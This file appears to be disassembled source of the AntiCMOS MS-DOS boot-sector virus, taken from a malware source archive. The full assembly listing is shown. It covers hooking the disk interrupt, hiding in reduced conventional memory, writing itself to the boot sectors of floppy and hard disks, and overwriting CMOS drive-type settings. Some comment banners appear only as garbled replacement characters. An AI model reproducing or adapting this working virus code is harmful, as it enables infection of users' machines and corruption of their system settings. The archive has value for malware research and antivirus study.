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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.anticmos.asm

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2021-01-12 23:31:39 +00:00
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;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;<3B><> <20><>
;<3B><> ANTICMOS <20><>
;<3B><> <20><>
;<3B><> Created: 26-May-95 <20><>
;<3B><> Code type: zero start <20><>
;<3B><> Passes: 9 Analysis Options on: H <20><>
;<3B><> <20><>
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
target EQU 'T3' ; Target assembler: TASM-3.1
.386c
; The following equates show data references outside the range of the program.
DATA_1E EQU 4CH
main_ram_size_ EQU 413H
timer_low_ EQU 46CH
DATA_3E EQU 500H
DATA_4E EQU 7C00H ;*
DATA_5E EQU 7C07H ;*
DATA_6E EQU 7C09H ;*
DATA_14E EQU 20BH ;*
DATA_15E EQU 21EH ;*
SEG_A SEGMENT BYTE PUBLIC USE16
ASSUME CS:SEG_A, DS:SEG_A
ORG 0
ANTICMOS PROC FAR
START:
; Simulation segment register change due to reset to default DS now 8EB6
; Simulation segment register change due to reset to default ES now 8EB6
JMP SHORT LOC_3
DB 90H
DATA_7 DB 4DH
DB 53H, 44H, 4FH
DATA_8 DW 3553H, 302EH
DATA_9 DB 0
DB 02H, 01H, 01H, 00H, 02H,0E0H
DB 00H, 40H, 0BH,0F0H, 09H, 00H
DATA_10 DB 12H
DB 0, 2, 0, 0, 0
LOC_3:
CLI ; Disable interrupts
XOR AX, AX ; Zero register
MOV DS, AX
; Simulation segment register change due to instruction DS now 0000
MOV SS, AX
MOV SP, 7C00H
MOV SI, SP
STI ; Enable interrupts
LES AX, DWORD PTR DS:DATA_1E ; Load seg:offset ptr
; Simulation segment register change due to instruction ES now 0070
MOV DS:DATA_5E, AX
MOV DS:DATA_6E, ES
MOV AX, DS:main_ram_size_
DEC AX
DEC AX
MOV DS:main_ram_size_, AX
MOV CL, 6
SHL AX, CL ; Shift w/zeros fill
MOV ES, AX
; Simulation segment register change due to instruction ES now 9F40
MOV CX, 200H
XOR DI, DI ; Zero register
CLD ; Clear direction
REP MOVSB ; Rep when cx >0 Mov [si] to es:[di]
MOV AX, 88H
PUSH ES
PUSH AX
RETF
; Simulation segment register change due to reset to default DS now 8EB6
; Simulation segment register change due to reset to default ES now 8EB6
;* No entry point to code
PUSH DS
PUSH AX
TEST DL, 0F0H
JNZ SHORT LOC_5 ; Jump if not zero
SHR AH, 1 ; Shift w/zeros fill
DEC AH
JNZ SHORT LOC_5 ; Jump if not zero
XOR AX, AX ; Zero register
MOV DS, AX
; Simulation segment register change due to instruction DS now 0000
MOV AX, DS:timer_low_
MOV AL, AH
SUB AL, CS:DATA_7
CMP AL, 2
JB SHORT LOC_5 ; Jump if below
MOV CS:DATA_7, AH
CMP AX, 2
JAE SHORT LOC_4 ; Jump if above or =
CALL SUB_1
LOC_4:
CALL SUB_2
LOC_5:
; Simulation segment register change due to return from sub DS now 8EB6
POP AX
POP DS
JMP DWORD PTR CS:DATA_8
LOC_6:
XOR AX, AX ; Zero register
MOV ES, AX
; Simulation segment register change due to instruction ES now 0000
INT 13H ; Disk dl=drive a ah=func 00h
; reset disk, al=return status
PUSH CS
LOC_7:
POP DS
CMP DATA_9, 0
JE SHORT LOC_8 ; Jump if equal
MOV SI, OFFSET DATA_13 ; (' key when ready')
ADD SI, 10H
CMP BYTE PTR [SI], 80H
JNE LOC_7 ; Jump if not equal
MOV DX, [SI]
MOV CX, [SI+2]
MOV BX, DATA_4E
MOV AX, 201H
INT 13H ; Disk dl=drive ? ah=func 02h
; read sectors to memory es:bx
; al=#,ch=cyl,cl=sectr,dh=head
JC LOC_6 ; Jump if carry Set
MOV WORD PTR CS:[148H], 7C0H
JMP SHORT LOC_12
DB 90H
LOC_8:
MOV DL, 80H
CALL SUB_2
MOV DI, OFFSET DATA_10
MOV AX, [DI-7]
MOV CX, 4
SHR AX, CL ; Shift w/zeros fill
MOV BP, AX
MOV AX, [DI-2]
SHL AX, 1 ; Shift w/zeros fill
INC AX
ADD BP, AX
DIV BYTE PTR [DI] ; al,ah rem = ax/data
MOV CL, AH
INC CL
XOR DX, DX ; Zero register
MOV DH, AL
MOV BX, DATA_3E
LOC_9:
MOV AX, 201H
INT 13H ; Disk dl=drive a ah=func 02h
; read sectors to memory es:bx
; al=#,ch=cyl,cl=sectr,dh=head
JC LOC_9 ; Jump if carry Set
MOV AX, BP
MOV SI, 34H
MOV BH, 7
DIV BYTE PTR [DI] ; al,ah rem = ax/data
XOR CX, CX ; Zero register
XCHG AH, CL
SUB SI, CX
DIV BYTE PTR [DI+2] ; al,ah rem = ax/data
MOV DX, AX
XCHG DL, CH
MOV AL, [DI]
SUB AL, CL
INC CL
LOC_10:
MOV AH, 2
PUSH AX
INT 13H ; Disk dl=drive a ah=func 02h
; read sectors to memory es:bx
; al=#,ch=cyl,cl=sectr,dh=head
POP AX
JC LOC_10 ; Jump if carry Set
MOV CL, 1
ADD BH, AL
ADD BH, AL
MOV AX, [DI]
INC DH
CMP DH, [DI+2]
JB SHORT LOC_11 ; Jump if below
MOV DH, 0
INC CH
LOC_11:
SUB SI, AX
JNC LOC_10 ; Jump if carry=0
ADD AX, SI
MOV AH, 2
INT 13H ; Disk dl=drive a ah=func 02h
; read sectors to memory es:bx
; al=#,ch=cyl,cl=sectr,dh=head
MOV CH, [DI-3]
MOV BX, BP
MOV WORD PTR DS:[148H], 70H
LOC_12:
XOR AX, AX ; Zero register
MOV DATA_9, AL
MOV DS, AX
; Simulation segment register change due to instruction DS now 0000
MOV AL, 52H ; 'R'
MOV DS:DATA_1E, AX
MOV WORD PTR DS:DATA_1E+2, CS
;* JMP FAR PTR LOC_1 ;*
DB 0EAH
DW 0, 7C0H ; Fixup - byte match
ANTICMOS ENDP
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; SUBROUTINE
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SUB_1 PROC NEAR
; Simulation segment register change due to sub entry point ES now 8EB6
PUSH BX
MOV AL, 10H
OUT 70H, AL ; port 70H, CMOS addr,bit7=NMI
; al = 10H, floppy drive type
IN AL, 71H ; port 71H, CMOS data
ADD AL, 20H ; ' '
AND AL, 33H ; '3'
MOV AH, AL
MOV AL, 10H
OUT 70H, AL ; port 70H, CMOS addr,bit7=NMI
; al = 10H, floppy drive type
MOV AL, AH
OUT 71H, AL ; port 71H, CMOS data
MOV AL, 12H
OUT 70H, AL ; port 70H, CMOS addr,bit7=NMI
; al = 12H, hard disk type
MOV AL, 0
OUT 71H, AL ; port 71H, CMOS data
POP BX
RETN
SUB_1 ENDP
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; SUBROUTINE
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
SUB_2 PROC NEAR
PUSH BX
PUSH CX
PUSH DX
PUSH ES
PUSH SI
PUSH DI
PUSH CS
POP DS
; Simulation segment register change due to instruction DS now 8EB6
PUSH CS
POP ES
MOV BX, 200H
MOV CX, 1
XOR DH, DH ; Zero register
MOV AX, 201H
PUSHF ; Push flags
CALL DWORD PTR DATA_8
JC SHORT LOC_14 ; Jump if carry Set
MOV WORD PTR [BX], 1CEBH
CMP DL, 80H
JNE SHORT LOC_13 ; Jump if not equal
MOV DS:DATA_14E, DL
LOC_13:
CLD ; Clear direction
MOV CX, 1A0H
MOV SI, 1EH
MOV DI, DATA_15E
REP MOVSB ; Rep when cx >0 Mov [si] to es:[di]
MOV AX, 301H
INC CX
PUSHF ; Push flags
CALL DWORD PTR DATA_8
LOC_14:
POP DI
POP SI
POP ES
; Simulation segment register change due to instruction ES now 0000
POP DX
POP CX
POP BX
RETN
SUB_2 ENDP
; Simulation segment register change due to reset to default ES now 8EB6
DATA_13 DB ' key when ready', 0DH, 0AH, 'Rep'
DB 'lace and press any key when read'
DB 'y', 0DH, 0AH, 0
DB 'IO SYSMSDOS SYS'
DB 00H, 00H, 55H,0AAH
SEG_A ENDS
END START
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